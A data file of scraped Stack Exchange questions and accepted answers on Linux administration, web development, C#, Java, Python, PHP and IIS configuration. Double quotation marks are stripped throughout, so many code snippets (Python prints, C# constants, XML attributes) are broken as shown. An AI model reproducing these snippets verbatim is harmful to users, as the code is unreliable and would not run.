{  "id": "_unix.314621"  , "question": "I am trying to automate domain join on RedHat 7 using the following command:realm join -U serviceaccount --client-software=sssd abc.com The problem is this command prompts for password which stops my script. How do I workaround so it doesn't prompt for the password? I need a solution which will definitely work."  , "title": "Join Redhat 7 without prompting the password"  , "tags": "rhel;password;active directory;sssd"  } 
{  "id": "_webmaster.39051"  , "question": "A lot of developers place all image files inside a central directory, for example:/i/img//images//img/Isn't it better (e.g. content architecture, on-page SEO, code maintainability, filename maintainability, etc.) to place them inside the relevant directories in which they are used?For example:example.com/logo.jpgexample.com/about/photo-of-me.jpgexample.com/contact/map.pngexample.com/products/category1-square.pngexample.com/products/category2-square.pngexample.com/products/category1/product1-thumb.jpgexample.com/products/category1/product2-thumb.jpgexample.com/products/category1/product1/product1-large.jpgexample.com/products/category1/product1/product2-large.jpgexample.com/products/category1/product1/product3-large.jpgWhat is the best practice here regarding all possible considerations (for static non-CMS websites)?N.B. The names product1-large and product1-thumb are just examples in this context to illustrate what kind of images they are. It is advised to use descriptive filenames for SEO benefit."  , "title": "Convenient practice for where to place images?"  , "tags": "seo;images;best practices;architecture;filenames"  , "accepted_answer": "I personally use a bit of both... I place all the images with a general purposes (things like : design, icons, site content, sprites, etc..) in a single directory.Then for everything related to a single thing on my website, by example a .jpg avatar related to a single user, I put that in a specific directory but inside of a centralized structure.. something like this :/data/users/1/avatar.jpg/data/users/2/avatar.jpg/data/articles/1/main_picture.jpgAt first there is the data directory, it's a good idea to have a main directory like that because when comes the time where you want to do urlRewriting like that : http://mywebsite.com/users/1/, that will confuse everything as the directory already exists on the server root... so putting everything in a centralized directory prevents that.Also note that I don't use product's name or category's name in the sub-directories, I prefer to use IDs as it's more optimized and simple to use.I can't prove this is the best structures considering SEO, but it's the best structure that I've experienced and I can say it's the most extensible because everything is placed in a logical way in a point of view of object oriented programming. If you want to add a personalized profile song for every site's users, fine ! You already have the structure right there, no need to add a new directory called songs/ and etc...And based on that structure, nothing prevents you from using some kind of urlRewriting to have URLs with the products/categories name in it, and then point to the IDs based structure on your server, that would be perfect I guess, but I've never tried...Hope it helps :)"  } 
{  "id": "_unix.353065"  , "question": "I would like to install Qubes OS on a 32GB USB Stick, and use it for Live Sessions. Is there a way in which I could have WiFi Connection during a Live Session without rebooting? (I use Lenovo Ideapad 310 14ISK).If so, does the procedure of WiFi Connection apply to the Qubes OS Live USB Option as well?What about the Terminal option of: echo blacklist ideapad-laptop | sudo tee /etc/modprobe.d/ideapad-laptop.conf ?Thank you."  , "title": "How to connect to WiFi on Qubes OS Live Session/Live USB?"  , "tags": "wifi;qubes"  } 
{  "id": "_unix.89551"  , "question": "I would like to change the PATH of my Debian 7.1.0 system to link the java version I want. If I insert into the terminal:java -versionI get:java version 1.6.0_27OpenJDK Runtime Environment (IcedTea6 1.12.6) (6b27-1.12.6-1~deb7u1)OpenJDK 64-Bit Server VM (build 20.0-b12, mixed mode)This is the java version preinstalled by my distribution. I have now downloaded the SUN JDK 1.7.0 update 25. I would like my system to use this version instead of the preinstalled version. I have made to changes to my PATH in .bashrc but I have the same java version. My .bashrc file has the line:PATH=PATH:/usr/local/jdk1.7.0_25export PATH"  , "title": "Change PATH in Debian 7.1.0 for JAVA"  , "tags": "debian;path;java"  , "accepted_answer": "What you actually want is this in your ~/.profile (or .bashrc if you insist, but .profile is better):PATH=$PATH:/usr/local/jdk1.7.0_25/binexport PATHYou were losing the original $PATH because you were using PATH instead of $PATH so it was interpreted as a simple string and all you were doing is setting your path to:PATH:/usr/local/jdk1.7.0_25/bin"  } 
{  "id": "_vi.2875"  , "question": "Is there anything I can do to keep syntax on when using Vim?As soon as I open anything substantial it becomes nearly impossible to edit after a while. Every keypress causes a delay. If I turn syntax highlighting off or relaunch vim  it is fine again.I have synmaxcol set to 120. Sample ruby file is only 59 lines long and not exceeding 80 characters.I am using vim-ruby and vim-rails.The problem is that the delay seem to accumulate over time. When I open the file from scratch it is fine. After a while it gets slower and slower."  , "title": "Vim slows down over time with syntax on"  , "tags": "syntax highlighting;performance"  , "accepted_answer": "Recent Vim versions have a :syntime command to troubleshoot slowness of syntax highlighting by generating a report of how long each syntax group takes to match. This is very helpful and quickly lets you find the culprit; the only downside is that you need a (usually HUGE) build of Vim with profiling enabled. :help :syntime provides good instructions how to employ it.Alternatively, you can try removing individual syntax scripts from ~/.vim/syntax/ and $VIMRUNTIME/syntax/ (according to the current 'filetype'), and then further drill down by removing parts of the syntax definitions inside the script."  } 
{  "id": "_codereview.32653"  , "question": "I created a function that compares an array of letters to the alphabet, and returns the letters that are not in the original array.While this works, it looks somewhat clumsy to me, but I don't know what I'm looking for to improve the code...Is there a way to make it more elegant? Perhaps getting rid of the notPresent array somehow?getLettersNotInContent(['z', 'a', 'p']);function getLettersNotInContent(letters) {  // Filter dups if present  var uniques = [];  letters.filter(function(letter) {    if (uniques.indexOf(letter) === -1) {      uniques.push(letter);    }  });  // Filter and return the letters that are not present in the content  var alphabet = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o',  'p','q','r','s','t','u','v','w','x','y','z'];  var notPresent = [];  alphabet.filter(function(letter) {    if (uniques.indexOf(letter) === -1) notPresent.push(letter);  });  return notPresent;}"  , "title": "Improving a JavaScript filtering function"  , "tags": "javascript"  , "accepted_answer": "You're mixing up two different ways of doing this. The old-fashioned way involves looping through the alphabet and pushing the letters not present into an array:function getLettersNotInContent2(letters) {    var alphabet = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',                    'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'];    var notPresent = [];    for (var i = 0; i < alphabet.length; i++) {        if (letters.indexOf(alphabet[i]) === -1) notPresent.push(alphabet[i]);    }    return notPresent;}The newer way (more elegant but not supported in IE8) uses the filter method with a function that returns true or false:function getLettersNotInContent3(letters) {    var alphabet = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',                    'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'];    return alphabet.filter(function (letter) {        return letters.indexOf(letter) === -1    });}Your code happens to work because, under the hood, filter also loops through the values of an array in turn. But you're not using it in the intended way.(In both cases I removed the filtering out of duplicates as this seems unnecessary.) (jsfiddle)"  } 
{  "id": "_codereview.1070"  , "question": "As far as I know the standard Delegate.CreateDelegate() which allows to create a delegate by using reflection, doesn't allow doing something as follows when the first parameter of method isn't exactly of type object.public class Bleh{    public void SomeMethod( string s ) { }}...object bleh = new Bleh(); MethodInfo method = bleh.GetType().GetMethod(SomeMethod);    // Starting from here, all knowledge about Bleh is unknown. // Only bleh and method are available.Action<object> a = (Action<object>)Delegate.CreateDelegate(    typeof( Action<object> ), bleh, method );Which is why I now have an implementation which allows the following:Action<object> compatibleExecute =    DelegateHelper.CreateCompatibleDelegate<Action<object>>( bleh, method );method can be any method, with or without return type, and with as many parameters as desired. I need to create an Action<T>, since other code is dependant on this strong typed delegate.In this example, I know the method is at least an Action<object>.The following code improves on the original CreateDelegate in two ways:It is generic now, instead of passing type as a first parameter.It does conversion to suitable lower types when possible.This is the first time for me working with expression trees, so I don't know whether what I'm doing is correct or the best approach. I based this implementation on an article by Jon Skeet (without fully understanding it :)), but the code seems to be working!/// <summary>///   A generic helper class to do common///   <see cref = System.Delegate>Delegate</see> operations./// </summary>/// <author>Steven Jeuris</author>public static class DelegateHelper{    /// <summary>    ///   The name of the Invoke method of a Delegate.    /// </summary>    const string InvokeMethod = Invoke;    /// <summary>    ///   Get method info for a specified delegate type.    /// </summary>    /// <param name = delegateType>The delegate type to get info for.</param>    /// <returns>The method info for the given delegate type.</returns>    public static MethodInfo MethodInfoFromDelegateType( Type delegateType )    {        Contract.Requires<ArgumentException>(            delegateType.IsSubclassOf( typeof( MulticastDelegate ) ),            Given type should be a delegate. );        return delegateType.GetMethod( InvokeMethod );    }    /// <summary>    ///   Creates a delegate of a specified type that represents the specified    ///   static or instance method, with the specified first argument.    ///   Conversions are done when possible.    /// </summary>    /// <typeparam name = T>The type for the delegate.</typeparam>    /// <param name = firstArgument>    ///   The object to which the delegate is bound,    ///   or null to treat method as static    /// </param>    /// <param name = method>    ///   The MethodInfo describing the static or    ///   instance method the delegate is to represent.    /// </param>    public static T CreateCompatibleDelegate<T>(       object firstArgument,       MethodInfo method )    {        MethodInfo delegateInfo = MethodInfoFromDelegateType( typeof( T ) );        ParameterInfo[] methodParameters = method.GetParameters();        ParameterInfo[] delegateParameters = delegateInfo.GetParameters();        // Convert the arguments from the delegate argument type        // to the method argument type when necessary.        ParameterExpression[] arguments =            (from delegateParameter in delegateParameters             select Expression.Parameter( delegateParameter.ParameterType ))             .ToArray();        Expression[] convertedArguments =            new Expression[methodParameters.Length];        for ( int i = 0; i < methodParameters.Length; ++i )        {            Type methodType = methodParameters[ i ].ParameterType;            Type delegateType = delegateParameters[ i ].ParameterType;            if ( methodType != delegateType )            {                convertedArguments[ i ] =                    Expression.Convert( arguments[ i ], methodType );            }            else            {                convertedArguments[ i ] = arguments[ i ];            }        }        // Create method call.        ConstantExpression instance = firstArgument == null            ? null            : Expression.Constant( firstArgument );        MethodCallExpression methodCall = Expression.Call(            instance,            method,            convertedArguments            );        // Convert return type when necessary.        Expression convertedMethodCall =             delegateInfo.ReturnType == method.ReturnType                ? (Expression)methodCall                : Expression.Convert( methodCall, delegateInfo.ReturnType );        return Expression.Lambda<T>(            convertedMethodCall,            arguments            ).Compile();    }}So, did I do this the easiest/best way? Am I doing something completely unnecessary? Thanks!"  , "title": "Generic advanced Delegate.CreateDelegate using expression trees"  , "tags": "c#;expression trees"  , "accepted_answer": "By applying some extra LINQ 4.0 Zip magic, I was able to reduce the code to the following. Anyone sees any more improvements? IMHO this is already a bit clearer.public static T CreateCompatibleDelegate<T>( object instance, MethodInfo method ){    MethodInfo delegateInfo = MethodInfoFromDelegateType( typeof( T ) );    var methodTypes = method.GetParameters().Select( m => m.ParameterType );    var delegateTypes = delegateInfo.GetParameters().Select( d => d.ParameterType );    // Convert the arguments from the delegate argument type    // to the method argument type when necessary.    var arguments = methodTypes.Zip( delegateTypes, ( methodType, delegateType ) =>    {        ParameterExpression delegateArgument = Expression.Parameter( delegateType );        return new        {            DelegateArgument = delegateArgument,            ConvertedArgument = methodType != delegateType                            ? (Expression)Expression.Convert( delegateArgument, methodType )                            : delegateArgument        };    } ).ToArray();    // Create method call.;    MethodCallExpression methodCall = Expression.Call(        instance == null ? null : Expression.Constant( instance ),        method,        arguments.Select( a => a.ConvertedArgument )        );    // Convert return type when necessary.    Expression convertedMethodCall = delegateInfo.ReturnType == method.ReturnType                                ? (Expression)methodCall                                : Expression.Convert( methodCall, delegateInfo.ReturnType );    return Expression.Lambda<T>(        convertedMethodCall,        arguments.Select( a => a.DelegateArgument )        ).Compile();}At first I got the dreaded variable .. of type ... referenced from scope '' but it is not defined. exception, but after some pondering I realized I had to add ToArray() after the Zip() statement to make sure the delegate arguments would already be defined. Powerful stuff this deferred execution, but apparently also a source for errors. I got the same exception when running smartcaveman's latest update, which is perhaps due to a similar mistake.Writing a custom Zip which takes three arguments removes the need of the anonymous type. Writing the Zip is really easy, as documented by Jon Skeet.public static T CreateCompatibleDelegate<T>( object instance, MethodInfo method ){    MethodInfo delegateInfo = MethodInfoFromDelegateType( typeof( T ) );    var methodTypes = method.GetParameters().Select( m => m.ParameterType );    var delegateTypes = delegateInfo.GetParameters().Select( d => d.ParameterType );    var delegateArguments = delegateTypes.Select( Expression.Parameter ).ToArray();    // Convert the arguments from the delegate argument type    // to the method argument type when necessary.    var convertedArguments = methodTypes.Zip(        delegateTypes, delegateArguments,        ( methodType, delegateType, delegateArgument ) =>            methodType != delegateType                ? (Expression)Expression.Convert( delegateArgument, methodType )                : delegateArgument );    // Create method call.    MethodCallExpression methodCall = Expression.Call(        instance == null ? null : Expression.Constant( instance ),        method,        convertedArguments        );    // Convert return type when necessary.    Expression convertedMethodCall = delegateInfo.ReturnType == method.ReturnType                                ? (Expression)methodCall                                : Expression.Convert( methodCall, delegateInfo.ReturnType );    return Expression.Lambda<T>(        convertedMethodCall,        delegateArguments        ).Compile();}"  } 
{  "id": "_codereview.61590"  , "question": "This is my solution to this SO question, which can formulated astake the sequence A002260, i.e., 1, 1, 2, 1, 2, 3, ...concatenate all its digitsfind the digit at a given position (1-based)]What bothers me is that my solution is rather complicated and fails near Long.MAX_VALUE due to overflow. I also wonder if this could be done in an error-proof way, since I ran through quite some off by one errors.There's the code, a test and a demo.public class Ogen {    /** The length of the number {@code n} (in decimal representation) */    int length(long n) {        return LongMath.log10(n, RoundingMode.DOWN) + 1;    }    /**     * The total number of digits in the sequence {@code 1, 2, ..., n}, i.e.,     * the sum of {@code length(i)} of all positive {@code i} up to and including {@code n}.     * */    long cumulativeLength(long n) {        if (n==0) return 0;        long result = 0;        final int maxLength = length(n);        for (int numberLength=1; numberLength<=maxLength; ++numberLength) {            // all numbers between min and max have the length numberLength            final long min = LongMath.pow(10, numberLength-1); // 1, 10, 100, ... highest power of 10 not greater than n            final long max = Math.min(10*min - 1, n); // 9, 99, 999, ..., n            final long countOfDifferentNumbers = max - min + 1;            result += numberLength * countOfDifferentNumbers * 1;        }        return result;    }    /**     * The total number of digits in the sequence {@code 1, 1, 2, 1, 2, 3, ..., 1, ..., n}, i.e.,     * the sum of {@code cumulativeLength(i)} of all positive {@code i} up to and including {@code n}.     */    long doublyCumulativeLength(long n) {        if (n==0) return 0;        long result = 0;        final int maxLength = length(n);        for (int numberLength=1; numberLength<=maxLength; ++numberLength) {            // all numbers between min and max have the length numberLength            final long min = LongMath.pow(10, numberLength-1); // 1, 10, 100, ... highest power of 10 not greater than n            final long max = Math.min(10*min - 1, n); // 9, 99, 999, ..., n            final double avg = 0.5 * (min+max);            final double averageNumberOfOccurrences = n - avg + 1;            final long countOfDifferentNumbers = max - min + 1;            result += numberLength * countOfDifferentNumbers * averageNumberOfOccurrences;        }        return result;    }    /**     * The biggest number {@code n} such that the sequence {@code 1, 1, 2, 1, 2, 3, ..., 1, ..., n} ends before     * position {@code pos}, i.e., such that {@code doublyCumulativeLength(n) < pos}.     */    long fullSequenceBefore(long pos) {        long lo = 0;        // find upper bound        long hi = (long) (Math.sqrt(pos)) / 2;        while (doublyCumulativeLength(hi) < pos) {            lo = hi;            hi += 1 + (hi >> 4);        }        // binary search        while (hi>lo+1) {            final long mid = (hi+lo) / 2;            if (doublyCumulativeLength(mid) >= pos) {                hi = mid;            } else {                lo = mid;            }        }        assert doublyCumulativeLength(lo) < pos;        assert doublyCumulativeLength(lo+1) >= pos;        return lo;    }    public char digitAt(long pos) {        pos -= doublyCumulativeLength(fullSequenceBefore(pos));        long lo = 0;        long hi = pos;        while (hi>lo+1) {            final long mid = (hi+lo) / 2;            if (cumulativeLength(mid) >= pos) {                hi = mid;            } else {                lo = mid;            }        }        pos -= cumulativeLength(lo);        return String.valueOf(lo+1).charAt((int) pos - 1);    }}"  , "title": "Determining a digit on a given position in the A002260 sequence"  , "tags": "java"  , "accepted_answer": "Frankly I have been staring at the code for ... 20 minutes, and I can't figure out your algorithm. I can't even throw out a good guess as to whether the result is right, or not.There are some style-related issues that do not help:Cumulative is not spelled with 2 m's, and no e as you have it in doublyCummulativLengthThe self-referential comments are not useful if you can't figure out where the logic/code should start from. Building up on the algorithm would be more possible if the right starting point was given. In other words, your comments assume too much about what people reaing your code will know (or otherwise I am too dumb to see the obvious stuff so the comments are not helping me).You reference the class LongMath but that class is not included in the code.Your comments mention things like: // ... and occur on the average count2/2 times What does that mean? How can you be accurate to an exact digit with reasoning like that?Code like:    final long count2 = 2*n - (min+max) + 2;    result += i * (max-min+1) * count2 / 2;makes little, or no sense to me. count2? What does that mean? max and min are not great either. Lots of constants too.In general, the code is not primed for a sight-unseen review. I would need you sitting beside me so I can ask questions as I go through. That is not really suitable for Code review.As an aside, I believe having a class that represents the sequence that is being used would make a really big difference for this code. You need to extract out the class, and iterate it to find 'the spot'.I played around with this problem, and specifically targetted an overflow-safe solution, so that digitAt(Long.MAX_VALUE) will work. This is the code I have.Note that I use a class, which allows me to keep a state, and then add to the state.On my computer the test for digitAt(Long.MAX_VALUE) returns 4 in less than 2.5 seconds. I do not know if this is a good result, or not.Also, I compared my results with a naive implementation for relatively small values.Make of this what you will:import static org.junit.Assert.*;import org.junit.Test;public class Seq2260 {    public static char digitAt(final long index) {        if (index < 1) {            throw new IllegalArgumentException(No such position  + index);        }        Seq2260 sequence = new Seq2260();        sequence.incrementPast(index);        // OK, spans have been added until the current span contains the index.        // locate the actual digit in the current span.        return sequence.seekChar(index - sequence.nextOffset);    }    // SCALES indicate the number of digits in each scale, and the value where the scale changes too.    // for example, SCALES[1] are 1-digit values, and when you hit the value 10, you are no longer    // in SCALES[1].    // SCALES[0] is only there to make the indexes line up.    // The Long.MAX_VALUE is only there to make the range end.    // Note that only Scales up to SCALES[9] will actually be used.    // by the time you reach SCALES[10] (10,000,000,000) each number is 10 digits long    // and the cumulative effect means that the index is now huge.    private static final long[] SCALES = {0L, 10L, 100L,        1_000L, 10_000L, 100_000L,        1_000_000L, 10_000_000L, 100_000_000L,        1_000_000_000L, 10_000_000_000L, 100_000_000_000L,        1_000_000_000_000L, 10_000_000_000_000L, 100_000_000_000_000L,        1_000_000_000_000_000L, 10_000_000_000_000_000L, 100_000_000_000_000_000L,        1_000_000_000_000_000_000L, Long.MAX_VALUE     };    //number of digits in a number    private int scale = 1;    // how far along the next span will start    // start at 1 to be 1-based    private long nextOffset=1;    // how long the current span is.    private long length = 0;    // the last value in the span    private long span = 0;    private void incrementPast(final long index) {        // this is an overflow-safe compare        // nextOffset could hypothetically be a very small negative number (wrapped). The math        // here is safe though, because a very large number subtract a very negative number        // will overflow again and still be less than length.        while (index - nextOffset >= length) {            extendSpan();        }    }    private void extendSpan() {        if (nextOffset < 0) {            // we have previously overflowed our limit. We only support a single overflow.            throw new IllegalStateException(Attempt to extend mapping beyond Long.MAX_VALUE);        }        span++;        if (span == SCALES[scale]) {            scale++;            if (span == Long.MAX_VALUE) {                throw new IllegalStateException(Overflowed Long in a span....);            }        }        // for large values, this will overflow. That is the limit of where we can map to.        // we can handle one overflow (a negative offset). After that, we fail.        nextOffset += length;        length += scale;    }    private char seekChar(long seek) {        int sc = 1;        long pos = 0;        long val = 0;        while (pos <= seek) {            val++;            if (val == SCALES[sc]) {                sc++;            }            pos += sc;        }        // OK, so val includes the char, and it is....        int charfromright = (int)(pos - seek);        String value = String.valueOf(val);        return value.charAt(value.length() - charfromright);    }    public static void main(String[] args) {        System.out.printf(Confirm %s is %s%n, Seq2260.digitAt(1000),  + smallGet(1000));        System.out.printf(Confirm %s is %s%n, Seq2260.digitAt(10000),  + smallGet(10000));    }    @Test    public void testNaieveMatch() {        for (int i = 3; i < 64 * 1024; i += 19) {            assertTrue(smallGet(i) == Seq2260.digitAt(i));        }    }    @Test    public void testNaieveSequential() {        for (int i = 1; i < 4 * 1024; i++) {            assertTrue(smallGet(i) == Seq2260.digitAt(i));        }    }    private static char smallGet(int i) {        StringBuilder sb = new StringBuilder(i + 10);        sb.append(-);        int oldmax = 1;        int current = 0;        while (sb.length() <= i) {            current++;            sb.append(current);            if (current == oldmax) {                current = 0;                oldmax++;            }        }        return sb.charAt(i);    }    @Test    public void testGetDigitAt() {        assertEquals('1', Seq2260.digitAt(1));        assertEquals('1', Seq2260.digitAt(2));        assertEquals('2', Seq2260.digitAt(3));        assertEquals('1', Seq2260.digitAt(4));        assertEquals('2', Seq2260.digitAt(5));        assertEquals('3', Seq2260.digitAt(6));        assertEquals('1', Seq2260.digitAt(7));        assertEquals('2', Seq2260.digitAt(8));        assertEquals('3', Seq2260.digitAt(9));        assertEquals('4', Seq2260.digitAt(10));        assertEquals('5', Seq2260.digitAt(20));        assertEquals('5', Seq2260.digitAt(33));        assertEquals('9', Seq2260.digitAt(54));        assertEquals('1', Seq2260.digitAt(55));        assertEquals('0', Seq2260.digitAt(56));        assertEquals('0', Seq2260.digitAt(67));        assertEquals('2', Seq2260.digitAt(99));    }    @Test    public void testLongMax() {        assertEquals('4', Seq2260.digitAt(Long.MAX_VALUE));    }}"  } 
{  "id": "_codereview.105531"  , "question": "Here is an updated version of my Caesar Cipher script. I am looking for ways to improve it, make it more succinct, and expand it's features.I would eventually like to add text import and export features. Here it is with comments galore! ####Collin's Caesar Cipher: A Caesar Cipher by Word Length (V.2)#To import the lowercase alphabetimport string#Simple line break functiondef line_break(x):    print -*x#setting up some variablesans = plainText = cipherText= alphabet = string.ascii_lowercase#Welcome User, Explain what script doesline_break(20)print Welcome to Caesar Cipher by Word LengthThis script takes words and phrasesand codes them by moving each individualletter up in the alphabet.\\nThe amount the letters move is dependenton the length of the word.\\nIf the word is three (3) letters longthen each letter is bumped up by three spaces.So the word \\cat\\ becomes \\fdw\\\\nThis script can encrypt and decrypt messagesbased on this rule.line_break(20)#Short Pauseprint Press return to continueraw_input(> )#Set a Function to receive and lowercase user inputdef get_user_input(x):    x = raw_input(> ).lower()    return x#Set a Function to ask user what they would like to dodef do_what(y):    print What would you like to do?Press \\e\\ to Encrypt a messagePress \\d\\ to Decrypt a messagePress \\q\\ to quit        y = get_user_input(y)    return y#Ask user if they would like to Encrypt, Decrypt, or Quitans = do_what(ans)while ans != 'q':    #If they choose Encrypt:    if ans == e:        #Get users input to decipher        print What is the message you would like to encrypt?        plainText = get_user_input(plainText)        #Translate it using Caesar Cipher by Length        #Sets up a for loop for each word (split by spaces)        for word in plainText.split():            #newWord variable to be filled            newWord=             #Loop for each character in a single word            for char in word:                #If the character is in the lowercase alphabet...                if char in alphabet:                    #finds the characters position in the alphabet                     pos = alphabet.index(char)                    #Takes that position number and adds the length of the word.                    #%26 is so that any letter past 'z' goes to the beginning                     newPos = ((pos + len(word))%26)                    #The new position is used in the alphabet to find a new character                    newChar = alphabet[newPos]                    #The new character is added to a word                    newWord += newChar                else:                    #This is for any non-alphabetical character (!,.' etc.)                    newWord += char            #adds the new word to the output followed by a space (to separate the words)            cipherText += newWord +          #Print out the Translation        line_break(20)        print %r turns into:\\n%r % (plainText, cipherText)        line_break(20)        print Press return to continue        raw_input(> )        #initializes output text        cipherText=         #Ask user if they would like to Encrypt, Decrypt, or Quit        ans = do_what(ans)    #If they choose Decrypt:    elif ans == d:        #Get users input to decipher        print What is the message you would like to decrypt?        plainText = get_user_input(plainText)        #Translate it using Caesar Cipher        #Very similar to the code for encrypting        for word in plainText.split():            newWord=             for char in word:                if char in alphabet:                    pos = alphabet.index(char)                    #This time it subtracts the length of the word from the position                    #%26 is so that any word below 'a' goes to the end of the alphabet                    newPos = ((pos - len(word))%26)                    newChar = alphabet[newPos]                    newWord += newChar                else:                    newWord += char            cipherText += newWord +          #Print out the Translation        line_break(20)        print %r turns into:\\n%r % (plainText, cipherText)        line_break(20)        print Press return to continue        raw_input(> )        cipherText=         #Ask user if they would like to Encrypt, Decrypt, or Quit        ans = do_what(ans)    #If they choose anything else    else:        #Print an error code        print Command not recognized        #Ask them to try again        print Please Try Again        #Ask if they would like to Encrypt, Decrypt, or Quit        ans = do_what(ans)#If they choose Quit if ans == 'q':    #Say Goodbye    print Goodbye    #End scriptAny feedback is appreciated!"  , "title": "Ceasar Cipher by Word Length V.2"  , "tags": "python;python 2.7;caesar cipher"  , "accepted_answer": "#To import the lowercase alphabetimport string# ...alphabet = string.ascii_lowercaseThe same can be accomplished withfrom string import ascii_lowercase as alphabetwhich also makes the comment unnecessary.print ...So the word \\cat\\ becomes \\fdw\\\\nThis script can encrypt and decrypt messagesbased on this rule.You do not need to escape quotes inside a triple quoted string. And you can write line breaks just as literal linebreaks:print ...So the word cat becomes fdwThis script can encrypt and decrypt messagesbased on this rule.#Set a Function to receive and lowercase user inputdef get_user_input(x):    x = raw_input(> ).lower()    return xYou are not using the x argument of the function. Just writedef get_user_input():    x = raw_input(> ).lower()    return xor evendef get_user_input():    return raw_input(> ).lower()#Set a Function to ask user what they would like to dodef do_what(y):    print     ...        y = get_user_input(y)    return ySince now get_user_input does not take a parameter, do_what doesn't need one, either:def do_what():    print     ...        return get_user_input()#setting up some variablesans = plainText = Since ans is not required as an argument for do_what, it doesn't need to be initialized as an empty string. The same goes for plainText.while ans != 'q':    if ans == e:        # encrypt ...        ans = do_what(ans)    elif ans == d:        # decrypt ...        ans = do_what(ans)    else:        # error ...        ans = do_what(ans)A new value for ans is fetched in any case at the end of each iteration of the loop, so you can just write it once outside the if-else block.while ans != 'q':    if ans == e:        # encrypt ...    elif ans == d:        # decrypt ...    else:        # error ...    ans = do_what()ans = do_what()while ans != q:    # do something    ans = do_what()if ans == 'q':    # quitYou can only exit the loop when ans gets q at some point. So you don't need to check that again after the loop!I suggest the following overall structure for the control flow, which requires writing ans = do_what() only once in the whole script:while True:    ans = do_what()    if ans == 'q':        break    # do something# quitif ans == e:    # encryptelif ans == d:    # decryptelse:    # errorRight now, where I put those placeholder comments, there is a lot of code. It would be cool if these blocks of code were contained in functions like do_encryption, do_decryption and print_error, so you could literally write:if ans == e:    do_encryption()elif ans == d:    do_decryption()else:    print_error()Then it would also be possible to use a dictionary as a lookup table to map the letter to the action to be performed:{'e': do_encryption, 'd': do_decryption}.get(ans, print_error)()"  } 
{  "id": "_unix.184288"  , "question": "I've been working on a Routing Protocol and looking at legacy code for different routing protocols. I constantly find different macros where I it is very hard to find it in the header files because they include ~20-50 headers. Besides looking up the macro on the Internet is there any way by finding their definitions in the man pages?For instance: INADDR_ALLHOSTS_GROUP macro which I eventually found in netinet/in.h but the man page never discussed the macro. Is there a way to use the man pages when you are trying to search for such things or would I need to go another way? "  , "title": "How to find documentation about macros in the manpages?"  , "tags": "man;documentation;system programming"  , "accepted_answer": "I posed this question to my mentor and he said to use grep, so I tried it out and I succeeded. Grep is an absolutely amazing tool! The code I used to find the macro was grep -rl INADDR_ALLHOSTS_GROUP * and I ran it from the /usr/include directory. "  } 
{  "id": "_cs.66243"  , "question": "I'm into designing a recommender system for movie database and for effective optimization.I suggested the idea of using particle swamp optimization ,but my professors need recent algorithms,can any one suggest recent nature inspired algorithms for optimization.(After Cuckoo Search Optimization). "  , "title": "what is the Recent Nature Inspired Algorithm for Optimization?"  , "tags": "algorithm analysis;bio inspired computing"  , "accepted_answer": "This paper[[1]] recommends the following Swarm Intelligence algorithms:Ant colony optimizationBat algorithmCuckoo searchFirefly algorithmParticle swarm optimization[1]: A Brief Review of Nature-Inspired Algorithms for Optimization"  } 
{  "id": "_codereview.135840"  , "question": "I have an associative array with data (let's say language codes and descriptions) and a second array with allowed keys (lang codes). I want to filter the data array by these allowed keys. The problem is I'm bound to PHP 5.5 and I can't use ARRAY_FILTER_USE_KEY flag.I came up with the following solution:$langs = [ 'en' => English, 'de' => German, 'fr' => French, 'ru' => Russian,];$allowed_langs = ['en','de'];var_export( array_map( function($lang) use($langs) {return $langs[$lang];} , array_combine($allowed_langs, $allowed_langs)));/* Output as expected:array (  'en' => 'English',  'de' => 'German',)*/I wonder is there a more elegant and shorter solution to this task? "  , "title": "Filtering array by list of keys in PHP 5.5"  , "tags": "php;array"  , "accepted_answer": "I always believe that you should use built in functions wherever possible, as opposed to recreating PHP functionality with loops etc. The main reasons for saying this are that:We should trust that PHP functions achieve their desired result in an efficient manner, and:If they are improved in future versions your code doesn't need to change, but just gets better.That being said, why not something like this:$matches = array_intersect_key($langs, array_flip($allowed_langs));var_export($matches);"  } 
{  "id": "_webmaster.28733"  , "question": "I have a php web application that allows file uploads to a specific directory.I would like to prevent the execution of any file that is uploaded into that directory whether it is ASP, PHP, or anything else that may be supported by IIS. I'm already blocking the upload of asp and php files at the application layer, but as a measure of defense in depth against a possible error in that validation code I would like to add a configuration to IIS to prevent execution of these files.Is there a way to do that in IIS?"  , "title": "prevent IIS from executing scripts in a specific directory"  , "tags": "security;iis7;windows"  , "accepted_answer": "First of all -- this really depends on your server configuration -- if such modifications are allowed to be performed on directory level (section is not locked on parent/server level).In order to disable execution of specific file extension yo need to know the handler name that is responsible for this. On each system this name can be different, especially for PHP, since it is not standard handler (created by user with admin rights). For example (web.config that needs to be placed in such folder): <?xml version=1.0 encoding=UTF-8?><configuration>    <system.webServer>        <handlers>            <remove name=PHP 5 />        </handlers>    </system.webServer></configuration>The above will remove handler named PHP 5 that is responsible for handling *.php files on my PC. With *.asp handler this should be easier since it has standard name, but it can easily be changed if required.Another approach -- remove ALL handlers altogether. In this case you do not need to know handler names. This has one serious drawback -- you will not be able to serve anything from this folder and subfolders, even static files.<?xml version=1.0 encoding=UTF-8?><configuration>    <system.webServer>        <handlers>            <clear />        </handlers>    </system.webServer></configuration>To bypass this drawback you can create URL rewriting rule and forward all requests to such files to your special script that will actually serve those files (script will have access to those files, so no problems here). The downside -- it can be quite complex (depends on number of file types it will be handling) + will produce a bit of unnecessary processing overhead (how big -- depends on your script, how you will code it).3rd approach seems to be more optimal (really depends on your other requirements) -- we will remove ALL handlers and will add the one that serves static files back .. so images/html/css/js etc should still work if requested from such folder:<?xml version=1.0 encoding=UTF-8?><configuration>    <system.webServer>        <handlers>            <clear />            <add name=StaticFile path=* verb=* modules=StaticFileModule,DefaultDocumentModule,DirectoryListingModule resourceType=Either requireAccess=Read />        </handlers>    </system.webServer></configuration>If you still require some other standard handlers to be available in this folder .. then you will have to add them back in a similar manner."  } 
